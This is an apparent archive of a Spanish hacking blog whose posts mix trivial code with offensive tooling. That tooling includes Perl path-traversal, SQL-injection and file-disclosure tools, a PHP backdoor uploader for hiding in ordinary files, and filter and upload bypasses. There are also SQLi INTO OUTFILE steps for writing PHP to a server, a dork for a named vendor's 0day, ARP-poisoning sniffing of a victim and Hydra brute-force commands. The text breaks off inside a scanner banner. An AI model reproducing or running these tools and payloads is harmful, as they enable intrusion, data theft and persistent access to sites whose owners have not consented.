b4nz0K-Labs

Simple String Converter v1.2

2012-05-13T22:34:00.003-07:00

#Este Source Sirve para encriptar un String en distintas formas
#ASCCI, HEX, Hex_url, MD5, SHA1
#Modo de uso: perl script.pl palabra_a_encriptar
#!/usr/bin/perl

use Digest::MD5  qw(md5_hex md5_base64);
use Digest::SHA1  qw(sha1_hex sha1_base64);

my $str = $ARGV[0];

#String to ASCCI

@array_ascci = split (//,$str);

foreach $i (@array_ascci) 
{ $ascci = $ascci . ord($i) . ","; }

chop ($ascci); print "ASCCI:\t\t$ascci\n";

#String to HEX
print "HEX:\t\t0x";
print unpack('H*', "$str");
print "\n";

#String to Hex URL
print "HEX_URL:\t";
@array_hex = split (//,$str);
foreach $i (@array_hex) 
{ $hex_url = $hex_url . unpack('H*', "$i") . "%"; ; }

chop ($hex_url);  print "$hex_url\n\n";

#String to MD5
my $md5 = Digest::MD5->new();
$md5 = md5_hex($str);
print "MD5:\t\t$md5\n";
$md5 = md5_base64($str);
print "MD5_Base64:\t$md5\n\n";

#String to SHA1
my $sha1 = Digest::SHA1->new();
$sha1 = sha1_hex($str);
print "SHA1:\t\t$sha1\n";
$sha1 = sha1_base64($str);
print "SHA1_Base64:\t$sha1\n";

Modo de uso

SQli Inject Union [Search] PoC

2012-03-28T12:37:00.000-07:00

Un metodo mas eficaz encontrar la columna vulnerable con una sola búsqueda...
es un "PoC" de mi propia SQli Scanner espero que les sea de utilidad ^^!

sub sql_scann {
 

      #############################################
      #     SQL union select (Boolean)
      #    
      #     $columns_count = "30";
      #  $end = "+--+";
      #  $un = "/**/";
      #  $num_url = "5";

      print "\n[*] Escaneando Path...\n"; $table_schema;

      $union = $un ."and" . $un . "1=0" . $un . "UniOn" . $un . "SeLect" . $un;

      $i=1; while ($i<=$columns_count)
 {
   if ($i eq 1) {$cont1.= $i} else {$cont1.=',' . $i} $hex = "99999" . $i ."99999";
   if ($i eq 1) {$cont2.="concat(0x62346e7a306b,$hex)";} 
   else {$cont2.=',' . "concat(0x62346e7a306b,$hex)";}
   $path = $url . $num_url . $union . $cont2;
      my $request = $browser->get($path . $end);
      my $content = $request->content;
  
  if ($content =~ m/b4nz0k99999(\d+)99999/)
  {   print "[*] Web Vulnerada en la Columna [$1]\n[*] CoLumna en el Numero [" . $i . "]\n";
      $vulnerado = "Si"; $num_columns = $i;  $inject_columns = $1;
      last;
  } $i++; 
 } # print "$cont1\n";
   }

Errores de Comprobacion [Bypass] PoC

2012-02-25T17:25:00.001-08:00

Bueno gente, hace rato que no publico por falta de tiempo o hueva, pero hoy les tengo un pequeño PoC muy util a lo que son algunos de los errores de comprobación que están en nuestro alcance para cambiar el flujo del programa.

Partimos con un simple login

y tenemos como PoC un simple form

Ingrese sus datos para Iniciar Sesión
Nombre de Usuario

Contraseña:

Bien, Ahora revisemos algunos detalles del archivo "comprueba.php".

session_start();
if($array["password_usuario"]==md5($pass) ){
/* Comprobamos que el password encriptado en la BD coincide con el password que nos han dado al encriptarlo. Recuerda usar la misma semilla para encriptar los dos passwords. */
$SESSION["login"]=$login;
$SESSION["id"]=$array["id"];
session_register("SESSION");
header("location:formulario.php");
} else {
echo "Password Incorrecto";
}
?>

Crea las sessiones y redirecciona al archivo "formulario.php" que lógicamente devera ser al panel de administracion

session_start();
if(!isset($SESSION)){
header("location: admin.html");
} else {
echo "Welcome $user";
}

bien, es un login facilmente de bypassear porque solo nos pide si "X" variable existe

Recuerden, es solo el PoC, con otro tipo de archivos se hacen varias cosas controlando el flujo y accediendo ala función de "X".

Espero les haya servido este peque tuto ^^

Salu2...

Calculadoras para multiplicar

2012-01-22T20:30:00.000-08:00

no tenia nada que hacer, encerio, y me puse hacer calculadoras en varios idiomas....

$a = $argv[1];

/* 
 * Ejecucion : 
 * 
 * php calculadora.php 5
 * 
 *  */
$a = $argv[1];
for ($i=1; $i<=10; $i++)
{
 echo $a," x ", $i, " = ", $a*$i, "\n";
}

//      JavaScript     

var a,b=1;
a = prompt('Numero??','');
while (b <= 10) {
 document.write(a+' x '+b+' = '+ a*b+'
');
 b++;
}

#!/usr/bib/perl
$a = $ARGV[0] ;

for ($b=1; $b<=10; $b++)  {

 print "$b x $a\t=\t",$b*$a,"\n";

}

#!/usr/bin/python
import sys
b = sys.argv[1]

for a in range(1,11):

 print a," x ",b," = ",(int(a) * int(b))

#include 
#include 
main()
{
int a,b;
printf("Dame la tabla: ");
scanf("%d", &a);
for (b=1; b<=10; b++)
 {
  printf("%i x %i = %d\n",a,b,a*b);
 }
}

[Webapps] - ITindustries [SQLi inject Vulnerability] [Bypassing]

2012-01-07T13:50:00.000-08:00

hace rato que no posteo un 0day así que decidí compartir el ultimo que saque porque ando

feliz!! :DDD!!!

; Distribuidor : ITindustries

; Path: id=x/*![explotación-bypass]*/

;Dork: intext:"by ITindustries.com" inurl:"id=*"

; Author: b4nz0k

; Nota: Este 0day fue necesario un pequeño bypass

Al parecer nos bota con una injeccion comun "&&", y lo bypasseamos con /*!*/

No se guíen por las t00ls.

Salu2...

[ Programacion ] Sucesión de Fibonacci (Simple)

2011-12-15T13:31:00.000-08:00

No es tan complicado :P


/* No se porque se complican tanto en la sucesión de Fibonacci xD */
 
print "\n### - Sucesión de Fibonacci! -- ###\n\n";
$a=1;
$b=1;
while ($a<=100)
    {
    print $a . ", " .  $b . ", ";
    $a = $a + $b;
    $b = $a + $b;
    }
print "\n\n### --- --- --- --- --- --- --- ### \n\n";

Lo publique porque vi muchos Codes con esta funcion muy extendidos y esto es para que no se compliquen mucho xD

[Bypass] Users to Host perl v1.2

2011-12-14T00:23:00.000-08:00

La vez anterior publique algo de bypass en los usuarios de algun servidor y para facilitarnos las cosas me hice una t00l en perl que nos ahorrara mucho tiempo, para hacer una búsqueda y saber donde tenemos permisos.

Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.

Aquí una Muestra de el funcionamiento de la herramienta

./script.pl [Web] [Directorio_web] [Archivo_a_buscar]

[Directorio_web] Es La Url de el Disclosure

[Directorio_web] Es El directorio de la web que se va a buscar, este puede ser "www", "htdocs", "public_html", etc...

[Archivo a Buscar] Es Opcional, asi que no es necesario agregarlo a menos que desees hacer una busqueda mas personalizada

Vemos que nos Devuelve los usuarios junto a los paths de los usuarios vulnerables

Ya después dependerá de vosotros para hacer lo que sigue...

use HTTP::Request;
use LWP::UserAgent;

my $browser = LWP::UserAgent->new();
      
sub banner { 
 print "
 
   _                 _        _       
  |_  \/|_)|_| _  _  o __ (_|   |_|/ \ _ _|_
  |_) / |    |_> _>  | | |__|   | |\_/_>  |_
 
   C o d e d  by  b 4 n z 0 k
 
 * Modo de Uso :
 * perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n
 *\tperl script.pl www.web.com/archivo.php?disclosure= htdocs
 ";
 
 }

 $url = $ARGV[0]; # print  "$vuln\n";
 
  unless ($url) { &banner; }

 $home = $ARGV[1]; # print  "$home\n";
 $dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd"
 $pt = "../../../../";
 #$pt = "....//....//....//....//....//....//....//....//....//";
 $bp = "";
 @usuarios;
 @vulnerados;
 $archivo = $ARGV[2];
 
 unless ($ARGV[2]) {
  
   $archivo1 = "/index.php";
   $archivo2 = "/index.html";
  }

  
  $url  = "http://" . $url if $url !~ m/^http\:\/\//;
  if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/) 
  {   $host = $1; $path0 = $2; }

 $path = $url . $path.  $pt . $pt . $pt . "etc/passwd" . $bp;
  print "$path\n";
 my $request = $browser->get($path);
 my $content = $request->content;
      
#print "$content\n";
if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) {
while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g ) 
{ #print $1 . "\n"; 
 push (@usuarios,$1); # Esto tambien puede cambiar el $1
} } else { print "\n[*] Error En la Injeccion.\n\n"; exit; }
&banner;
print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n";
 
foreach $n (@usuarios) {

 $path2 = $url .  $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home;
# print "$path2\n";
unless ($ARGV[2]) {

  $path_g=$path2 . "/index.php";
  &requestt($path_g);
  
  $path_g=$path2 . "/index.html";
  &requestt;
  
  }
 if ($ARGV[2]) {
 $path_g = $path2 . $archivo;
 &requestt($path_g); }
}
sub requestt {
 
  my $request2 = $browser->get($path_g);
  my $content2 = $request2->content;
  
 #  print "$content2\n"; m/failed to open stream/
   if ($content2 =~ m/\$(.*)/) 
    {
     print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n";
     push (@vulnerados,$path_g);
    }
   #   else { print "# 3Rr0r # [$n]\t$path_g\n"; }
 }
print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n";
foreach $n (@vulnerados)
{
 print "[*] $n\n\n";
 }

Sin Permisos? lol [ Atacando desde Dentro ]

2011-11-28T17:21:00.000-08:00

Hola!! un saludo a todos, hace rato que no publico y quise hacerlo por primera vez en mucho tiempo, espero y les guste.

Cuando Tenemos algún Disclosure lo primero que hacemos es visualizar el archivo /etc/passwd

Y por lo tanto visualizaremos los demás archivos de la web que usualmente serian los archivos de configuracion

Haremos algo mas que solo visualizar esos archivos...

Supongamos que el Servidor Tiene sus paginas de este modo

www.web1.com >> Aquí esta el Disclosure

www.web2.com

www.web3.com >> Aquí Trataremos de entrar (www.web3.com no es vulnerable por si sola)

www.web4.com

www.web5.com

/etc/passwd

web1:x:30073:30036::/home/web1:/bin/bash
web2:x:30075:30037::/home/web2:/bin/bash

web3:x:30076:30038::/home/web3:/bin/bash

web4:x:30098:30039::/home/web4:/bin/bash
web5:x:30099:30040::/home/web5:/bin/bash

Si el disclosure esta en /home/web1 tratemos de acceder a otra web del mismo servidor

Vuln=/home/web3/htdocs/index.php

Si el Archivo esta vacío como en mi caso, no te decepciones intenta con directorios default como:

"www","htdocs","public_html","web",etc... 

Vuln=/home/web3/www/index.php

Listo!! Discourse desde una web interna.

Si no te funciona significa que los permisos están mejor administrados, pero no te desanimes ya que hay muchos servidores con esta vulnerabilidad.

Al parecer tiene instalado WordPrees.

Listo!!, creo que con esto ya queda mas claro ^^.

Desde Una Shell Update

Desde un archivo en el servidor ya es mas fácil hacer todo el trabajo que estamos haciendo desde un disclosure. 

Normalmente siempre revisamos los dominios y permisos que tenemos desde la misma web y cuando comúnmente nos encontramos con esto damos por perdidos los permisos de los demás dominios.

Ahora aplicamos lo anterior modificando una variable GET

Listo!!, espero les haya gustado este peque tuto ^^

Sin Permisos?? lol

[Webapps] - WEB-Source [Local File Inclusion Vulnerability]

2011-05-27T02:24:00.000-07:00

'||     '||''''| |''||''| 
 ||      ||  .      ||    
 ||      ||''|      ||    
 ||      ||         ||    
.||...| .||.     |..||..| 

[ Local  File Inclusion ]

By MetalSoft T34M

; Distribuidor : web-source.ie

; Path: index.php?pid=[explotación]

; Author: b4nz0k

; Capura:

Z4LuD0$...

[Webapps] - TresIdeas CMS Vulnerable [SQLi]

2011-05-21T01:26:00.000-07:00

  _       __    __  _                          
 /  |\/| (_    (_  / \ |    o ._  o  _   _ _|_ 
 \_ |  | __)   __) \_X |_   | | | | (/_ (_  |_ 
                                 _|

######################
Vuln: SQL Injection
######################
; Site : http://www.xxx.*.ar
######################
;Dork :Design by tresideas.com.ar
######################
; Author: xDarkSton3x | MetalSoft Team
######################

; Explotable : noticias_example.php?id="
######################

;Tabla: usuarios

y un Exploit que le hice al wn xD:

exploit_cms.pl

Modo de Uso:

perl exploit_cms.pl http://web.com/path/vuln.php?vulnerable_id=123

Captura:

Fuente de la Vulnerabilidad:

http://xdarkstonex.blogspot.com/2011/04/cms-argentino-vulnerable-sqli.html

MySQL Inject Scanner v0.1

2011-04-30T12:06:00.000-07:00

MySQL Inject Scanner v0.1

# Metalsoft - T34M #

..####....####...##......######.

.##......##..##..##........##...

..####...##.###..##........##...

.....##..##..##..##........##...

..####....#####..######..######.

................................

Wenas!! :D les traigo mi primera tool de SQLi Inject y claro, para la próxima versión pienso optimizar el código y agregarle mas funciones :P.

set

Asigna un valor a una variable

table (nombre de la tabla)
union (tipo de unuin para la injeccion)
(+,/**/,%20)
column (Columna donde se injectara el code)
examples set table users
set union /**/
set column 2 << La columna de Injeccion

show

Visualiza el campo seleccionado

tables [Visualiza las tablas]
columns [Visualiza las columnas de la tabla seleccionada]
data [Visualiza los datos de los campos]

examples show tables
show columns
show data username,passwd

info Muestra la informacion de la Injeccion

help Consulta los comandos soportados

clear Limpia la Pantalla

exit Salir

Aqui un ejemplo de uso:

Modo de Uso: perl sql.pl http://web.com?vuln=

show tables

set table table tbsys000_login

show data user_login,password_login

Download <-- Tool en txt

Desde Linux
wget http://banzok.webcindario.com/sql.txt -O sql.pl

Puertas Traseras (Backdoor's)

2011-04-16T19:08:00.000-07:00

Esta Herramienta que acabo de hacer nos permite backdorizar un archivo común en php y añadirle código ofuscado
para cuando queramos utilizarlo solo le agregamos unos parámetros al archivo
Para ello simplemente se edita el archivo

Al contacto con el archivo se ve muy normal y común

pero si agregamos los parámetros correspondientes de nuestro backtorizado.

en este caso lo hice con un comprobante,

una vez autorizados me bota el upload correspondiente

Si pregunta para que es esto pero no creo xP, es por si nos borran la webshell ya que los administradores revisan cual fue el ultimo archivo creado, y como resulta sospechoso borran la webshell

Simple Backdoor Upload

<----- Inicio Php ------>


if (isset($_GET['config']))
{
    echo 'BakckDoor by b4nz0k
Seleccione el Archivo 

';
    if (isset($_FILES['archivo']))
    {
    $ar=$_FILES['archivo']['name'];
    copy($_FILES['archivo']['tmp_name'],$_FILES['archivo']['name']);
    echo 'Archivo Subido en '.$ar.'';
    }
}

<----- End Php ------>

Bypass Filtros extensiones (RFD, LFI)

2011-04-14T12:12:00.000-07:00

Estaba con un amigo juackeando una web nada en particular, pero me di cuenta de algo...
Cuando el archivo elegía los archivos a incluir , era normal..., parecía bien filtrado el archivo.

Despues me puse a pensar como podria estar codeado el sourse, y llegue a la conclusión de que muchos programadores aceptan determinadas extensiones.

El Sourse no Filtrado Correctamente

#łł Visualizar Archivo łł#

@?php
$permitidas[0]='doc';
$permitidas[1]='DOC';
$permitidas[2]='pdf';
$permitidas[3]='PDF';
$permitidas[4]='docx';
$permitidas[5]='DOCX';
$permitidas[6]='rar';
$permitidas[7]='RAR';
$permitidas[8]='zip';
$permitidas[9]='ZIP';
$permitidas[10]='mpg';
$permitidas[11]='xls';
$permitidas[12]='XLS';
$permitidas[13]='pps';
$file=$_GET['archivo'];
$flag=0;
for($i=0;$i<count($permitidas);$i++)
if(substr($file, -3)==$permitidas[$i])
$flag=1; //print $file;
if($flag)
{
$nombre=explode("/",$file);
$nombrear=$nombre[count($nombre)-1];
// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-type: application/octet-stream\n");
header("Content-Disposition: attachment; filename=\"".$nombrear."\"\n");
header("Content-length: " . filesize($file) . "\n");
$fp=fopen("$file", "r");
fpassthru($fp);
}
?@

Con el Código llegamos a la conclusión de que el programador prepara un array para guardar todas las extensiones y usa un blucle "For" y un condicional "IF" para comprobar si el archivo seleccionado es igual al array que serian las extensiones permitidas.

Aqui el Bypass

Bien ,llegando a la conclusión de que incluimos el archivo /etc/passwd no tiene la extensión del array , así que le agregamos un "carácter nulo" en "hexadecimal" con la "extensión permitida" para consultar que seleccione el archivo e indicando que la extensión sea una de las permitidas.

Explotación

Espero que les halla servido este peque bypass ^<^.

MetalSoft Source Discourse (RFD) V1.0

2011-04-08T18:12:00.000-07:00

Source Discourse Perl v1.0

EsTa es una Simple tool que nos muestra el source de algún archivo Y podemos Guardar y visualizar los archivos del servidor con dicha vulnerabilidad

Modo de uso:
perl rfd.pl http://web.com/path/archivo.php?vuln=

ver archivo.php

Visualizamos el archivo de Configuración

ver ../../../archivo.php

Nos Imprime en pantalla el source del fichero seleccionado

#!/usr/bin/perl
#Gretz: xDarkSton3x, Fail.root, R4f4, r007
#c0d3d: R 0 0 t - M # # M e t a l S o f t - T 3 4 M
#

use LWP::Simple;
$path = $ARGV[0];
if(!$ARGV[0])
{
print q(

        ##########################
        --- Å‚ MetalSoft Team Å‚ ---

 :::====  :::===== :::==== 
 :::  === :::      :::  ===
 =======  ======   ===  ===
 === ===  ===      ===  ===
 ===  === ===      ======= 

  % Coded by R 0 0 t - M %
        Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚

    Modo de Uso:

    RFD.pl http://web.com/path/archivo.php?vuln=

);
}
else {

if ($path !~ /http/) { $web="http://".$path; }
else { $web=$path; }

$host=&resolver_host($web);
print q(
####### --- ł MetalSoft Team ł --- Cargando Session...
);
sleep(2);
print "[*] Presione help para ver los comandos Disponibles\n";
print "[*] Session Iniciada\n\n";

inicio: print "\nMetalSoft".'@'."$host :[*] "; $comando=@STDIN@; chop($comando);
@comand = &control_comando($comando);
$comando1 = @comand[0];
$comando2 = @comand[1];
if (exists(&$comando1)) {
&$comando1($web,$comando2); }

else { print "[*] Comando No Soportado"; }
########## - S u b R u t i n a s #############
sub control_comando{
@control=split(/ /,$comando);
return @control; }

sub resolver_host {
@var1 = split(/http:\/\//,$web);
@var2 = split(/\//,@var1[1]);
$final = "@var2[0]"; return $final; }

sub exit {
print "\n#łł Cerrando Session... łł#\n\n";
sleep(1);
print "\n"; exit; }

sub ver {
print "\n#łł Visualizar Archivo łł#\n\n";

getprint($web . $comando2 ); goto inicio; }

sub guardar {
print "\n#łł Guardar Archivo łł#\n\n";
print "\n[*] Nombre del Archivo a Guardar : ";
$nombre=@STDIN@; chop($nombre);
getstore($web . $comando2 ,$nombre); } goto inicio; }

sub help {
print q(
Comandos Soportados

ver ([*] ver archivo.php)
guardar ([*] guardar archivo.php)
clear (Limpia la Pantalla)
pwd (Consultar El Directorio Actual)
help (Consultar los comandos de la Session)
exit (Salir de la Session)
); goto inicio; }

sub clear {
system ("clear"); system ("cls"); goto inicio; }
#En esta Parte hice un verdadero Desmadre :S

sub pwd{
@var1 = split(/http:\/\//,$web);
@var2 = split(/\//,@var1[1]);
$sacado=shift(@var2);
$sacado2=pop(@var2);
print "\nPath [*] /";
foreach $i (@var2) { print "$i/"; }
print "\n";
@var3=split(/\?/,$sacado2);
$sacado3=shift(@var3);
print "File [*] $sacado3\n"; }

Recuerden los @ en STDIN ^^

Descarga en TXT << Por si algún error esta el txt ^^.

Bypass Filtros str_replace (LFI, RFD)

2011-04-05T02:34:00.000-07:00

Explorando por la net me encontré un código de descarga filtrado para que el usuario no baje información sensible, pero no esta tan bien filtrado.

La Primera descarga pense que el archivo estaba filtrado correctamente.

@?

$file = $_GET['f'];
$file = str_replace( "../", "", $file); #- Aquí nuestro filtro que remplaza
$path="./down"; # cuando queremos subir un directorio
$url = $path."/".$file;
header ("Content-Disposition: attachment; filename=".$file." ");
header ("Content-Type: application/octet-stream");
header ("Content-Length: ".filesize($url));
?@
-------------------------------------------

El codigo nos prohíbe subir directorios con "../" ,
pero que pasa si lo cambiamos por
"....//" ?

Espero que este peque bypass les sirva de algo ^^.

Bypass Uploader

2011-04-03T22:03:00.000-07:00

Un Upload no es una vulnerabilidad, pero lo considero un gran error del Administrador.

Porque?
un usuario con acceso a un upload mal filtrado puede
fácilmente subir un archivo malicioso al servidor perjudicando ala web,
o en casos graves a todo el Servidor.

Empezamos codeando nuestro Uploader

upload.php

@form action="subearchivo.php" method="post" enctype="multipart/form-data"@

Campo de tipo texto:@br@

@input@@ type="text" name="cadenatexto" size="20" maxlength="100"@@br@
@input@@ type="hidden" name="MAX_FILE_SIZE" value="100000"@@br@

Subir Archivo:@br@

@input@> name="userfile" type="file"@@br@
@input@>type="submit" value="Enviar"@@br@
<@/form@>

----------------------------------------------------------
subearchivo.php

@? //tomo el valor de un elemento de tipo texto del formulario
$cadenatexto = $_POST["cadenatexto"];
echo "Escribió en el campo de texto: " . $cadenatexto . "<@br@><@br@>";
//datos del arhivo $nombre_archivo = $HTTP_POST_FILES['userfile']['name'];
$tipo_archivo = $HTTP_POST_FILES['userfile']['type'];
$tamano_archivo = $HTTP_POST_FILES['userfile']['size'];
//compruebo si las características del archivo son las correctas
if (!((strpos($tipo_archivo, "gif") || strpos($tipo_archivo, "jpeg")) && ($tamano_archivo < 100000)))
{
//Imprime en Pantalla
echo "La extensión o el tamaño de los archivos no es correcta. <@br@><@br@>Se permiten archivos .gif o .jpg
se permiten archivos de 100 Kb máximo.";
}else{
//Si se sube el archivo con éxito
if (move_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'], $nombre_archivo))

{
//Imprime en Pantalla
echo "El archivo ha sido cargado correctamente.";
}

//al contrario
else
{
//Imprime en Pantalla
echo "Ocurrió algún error al subir el fichero. No pudo guardarse.";
} }
?@
Recuerden quitar los "@" .

Analizando el uploader nos damos cuenta que el archivo filtra el tipo de archivo permitido que seria "gif" y "jpeg".

Como lograr subir algun archivo de otra extensión si esta filtrando las extinciones permitidas?

Transacciones HTTP

Una transacción HTTP está formada por un encabezado seguido, opcionalmente, por una línea en blanco y algún dato. El encabezado especificará cosas como la acción requerida del servidor, o el tipo de dato retornado, o el código de estado.

Para poder bypassear el uploader tenemos que controlar las cabeceras para cambiar la información al final.

Para eso Usare un Add-ons de Mozilla (Live HTTP Headers) para modificar las cabeceras al subir un archivo al servidor. Cuando lo Tengamos se auto-capturaran las cabeceras de las peticiones HTTP, una vez terminada la captura podemos Repetir las peticiones para modificarlas.

Herramientas > Live HTTP Headers

Una vez dentro de la edición de las cabeceras, podremos modificarlas.

Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.jpg"
°
Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.php"

Aquí nos muestra la información del formulario que es el nombre del input del upload y el nombre del archivo , modificamos filename para renombrar el archivo.

Una vez subido el archivo hay que averiguar donde esta alojado el archivo y acceder a el

Remote File Downloader

2011-03-09T11:06:00.000-08:00

Esta Vulnerabilidad no es muy usada, pero hay muchas webs que la disponen para ser explotada.

Lo que hace esta vulnerabilidad, es poder descargarnos archivos remotamente del servidor o de la web que el usuario tenga permitido el acceso.

Path Vulnerable:

http://site.com/path/download.php?search=archivo

Comprobamos si el sitio puede ser descargado desde directorios anteriores y no tenga filtrado "../../"

http://site.com/path/download.php?search=../../../../../../../../../../etc/passwd

Si el archivo descargado se ve exactamente como se veía /etc/passwd, significa que tenemos un path vulnerable, si nos descarga un mensaje de error o no nos descarga, lamentable el path no es vulnerable.

Con una web Vulnerable a RFD podemos descargar archivos con información delicada como los usuarios de BD o del FTP que normalmente esta en /config.php, pero normalmente siempre es otra dirección cambiada por el WebMaster.

SQL Injection (OutFile)

2011-03-01T12:54:00.000-08:00

SQL inject Outfile:

Sabemos que en una SQL inject nos tiene que botar un error

Error Sintaxis SQL in : /home/xxx/htdocs/vuln.php in line x

Y con un target parecido a este

http://target.com/path/vuln.php?id=x'

Buscamos tablas hasta que nos quite el error o nos saque el numero de la tabla

-x union all select 1--
-x union all select 1,2--
-x union all select 1,2,3--
-x union all select 1,2,3,4--
-x union all select 1,2,3,4,5-- <- Aqui nos devolvio el numero de la tabla

Imaginamos que la tabla esta en la 5 y nos salto el numero 2..

Usamos user() en el "2" para saber el actual usuario y el host.

-x union all select 1,user(),3,4,5--

Nos bota root@localhost

-x union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';

nos bota rootlocalhost

El usuarios tiene permisos File, podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...

devemos de tener en cuanta de que para poder hacer uotup tenemos que saber que la directiva Magic_quotes_gpc del php no este activada, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y acegurarnos que el directorio tenga permiso de escritura.

Tenemos que saber donde esta el directorio para poder indicar donde guardaremos nuestro archivo.

into outfile '/home/xxx/htdocs/aerchivocreado.php'--

y en el el numero 2 agregamos

'<@? phpinfo(); ?@>' // sin @

En resultado

Salida:

-x union all select1,'',3,4,5 outfile '/home/xxx/xxx/aerchivocreado.php'--

Seria Igual a:

-x+union+all+select1,'',3,4,5+outfile+'/home/xxx/xxx/aerchivocreado.php'--

Les dejo a su imaginación el codgo del archivo php

Gretz: Yoyahack

Sniffer Mirando Conversaciones (Facebook)

2011-01-26T20:55:00.000-08:00

Borogove es un sniffer en Python Que usa la técnica Man-In-The-Middle envenenando las tablas ARPpara poder hacer la captura de los paquetes que pasan en http en texto plano.

Para usarlo, debemos instalar las dependencias dsniff, pypcap y dpkt.

$ aptitude install dsniff python-pypcap python-dpkg

Descargar Borogove

$ wget http://borogove.googlecode.com/svn/trunk/borogove.py

Usando Borogove

$ ./borogove.py IP_Router IP_Victima     


Ejemplo de uso:

$ sudo ./borogove.py eth0 192.168.1.72 192.168.1.254



No podemos decir que el sitio es Seguro.

Sniffer Mirando Conversaciones (MSN)

2011-01-26T20:40:00.000-08:00

Cres que tus Conversaciones son Privadas?

Wireshark antes conosida como Ethereal es una Herramienta para analizar protocolos, es muy buena para el shiffing , esta herramienta captura los paquetes de la red, así mismo podemos hacer nuestro Objetivo:

Capturar los mensajes que salen y entran del MSN ya que son paquetes que van en texto plano y
es muy fácil verlos con esta herramienta filtrando los paquetes msnms de texto plano.

Instalando Wireshark:

$ sudo apt-get wireshark

Un vídeo de como se puede capturar los paquetes que pasan por nuestra red:

Con esto queda claro que una persona con conosimientos de Sniffing podría ver Nuestras conversaciones en texto plano :S

Brute Force (Fuerza Bruta)

2011-01-23T00:39:00.000-08:00

Brute Force en Criptografia ataque de fuerza bruta se denomina cuando se recupera una clave Provando Todas las combinaciones Posibles.

Este Metodo Se Utiliza Para Determinar si la Contraseña del administrador es Vulnerable.
Hydra es una de las Herramientas de Pentest para BruteForce
Protocolos que soporta la Tool:

   TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable,
AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA (incorporated in telnet module

Config Importantes :

Single Target : Host para el BruteForce.
Target List : Una lista de los host para BruteForce en texto plano.
Port : Puerto del Protocolo
Protocol : Protocolo del Test

Username : Nombre de Usuario
Username List : Lista de Nombres de Usuario
Password : Contraseña
Password List : Lista de Contraseñas

Use Colon seperated file : Usar un solo Diccionario para los Usuarios y Contraseñas
Try Login as Password : Tratar con los Diccionarios de Usuario y Contraseña
Try empy Password : Tratar con el Diccionario del Usuario y Contraseña Vacia

Una vez el Scanner comenzado , buscara de las opciones, el protocolo y diccionarios hasta encontrar los que encajen en la identificación del login con su contraseña correspondiente.

Modo Consola:

Para Usar Hydra en modo consola seria de la siguiente manera

$ hydra 127.0.0.1 ftp -s 21 -L diccionario.txt -P diccionario.txt

-s : Especifica el puerto.
-L : Usa el diccionario del Nombre de Usuario
-P : Usa el diccionario de la Contraseña

Vip3r Scanner (RFI ,LFI , Panel Finder) - Perl V 1.0

2011-01-13T16:33:00.000-08:00

Vip3r Scanner (RFI ,LFI , Panel Finder) - Perl

esta tool me costo algo de tiempo asi que disfrutenla ^^

#!/usr/bin/perl
#
#web http://b4nz0k.blogspot.com
#Gretz: Bl4ck.Viper, priv8, xassiz, GlaDiaT0R <-Por los Paths
#Echo por: b4nz0k y ar3sw0rmed
#
#

if (!$ARGV[0]) {

print q(

88   8          eeee            8""""8                        
88   8 e  eeeee    8  eeeee     8      eeee eeeee eeeee eeeee 
88  e8 8  8   8    8  8   8     8eeeee 8  8 8   8 8   8 8   8 
"8  8  8e 8eee8 eee8  8eee8e        88 8e   8eee8 8e  8 8e  8 
 8  8  88 88       88 88   8    e   88 88   88  8 88  8 88  8 
 8ee8  88 88    eee88 88   8    8eee88 88e8 88  8 88  8 88  8

Modo de Uso: Scanner.pl

Ejemplo: Scanner.pl -r http://web.com

Comando Scanner

-r RFI Scanner
-l LFI Scanner
-p Panel Finder

La opcion de -l y -r se puede incluir el path ( http://web.com/index.php?page= )

);

exit 1;

}
$opciones = $ARGV[0];
$web1 = $ARGV[1];
print q(

88   8          eeee            8""""8                        
88   8 e  eeeee    8  eeeee     8      eeee eeeee eeeee eeeee 
88  e8 8  8   8    8  8   8     8eeeee 8  8 8   8 8   8 8   8 
"8  8  8e 8eee8 eee8  8eee8e        88 8e   8eee8 8e  8 8e  8 
 8  8  88 88       88 88   8    e   88 88   88  8 88  8 88  8 
 8ee8  88 88    eee88 88   8    8eee88 88e8 88  8 88  8 88  8

);
system ("title Scanner Perl");

use HTTP::Request;
use LWP::UserAgent;

system ("cls");

if ($opciones =~ /r/|/R/) {
##################Scanner RFI#######################
system("cls");
system("clear");
print q(

.-..-. _ .----. .--.
: :: ::_; `-- ; : .--'
: :: :.-..---. .' ' .--. `. `. .--. .--. ,-.,-.,-.,-. .--. .--.
: `' ;: :: .; ` _`,`.: ..' _`, :' ..'' .; ; : ,. :: ,. :' '_.': ..'
`.,' :_;: ._.'`.__.':_; `.__.'`.__.'`.__,_;:_;:_;:_;:_;`.__.':_;
: :
:_;

+-++-++-+ +-++-++-++-++-++-++-+
|R||F||I| |S||c||a||n||n||e||r|
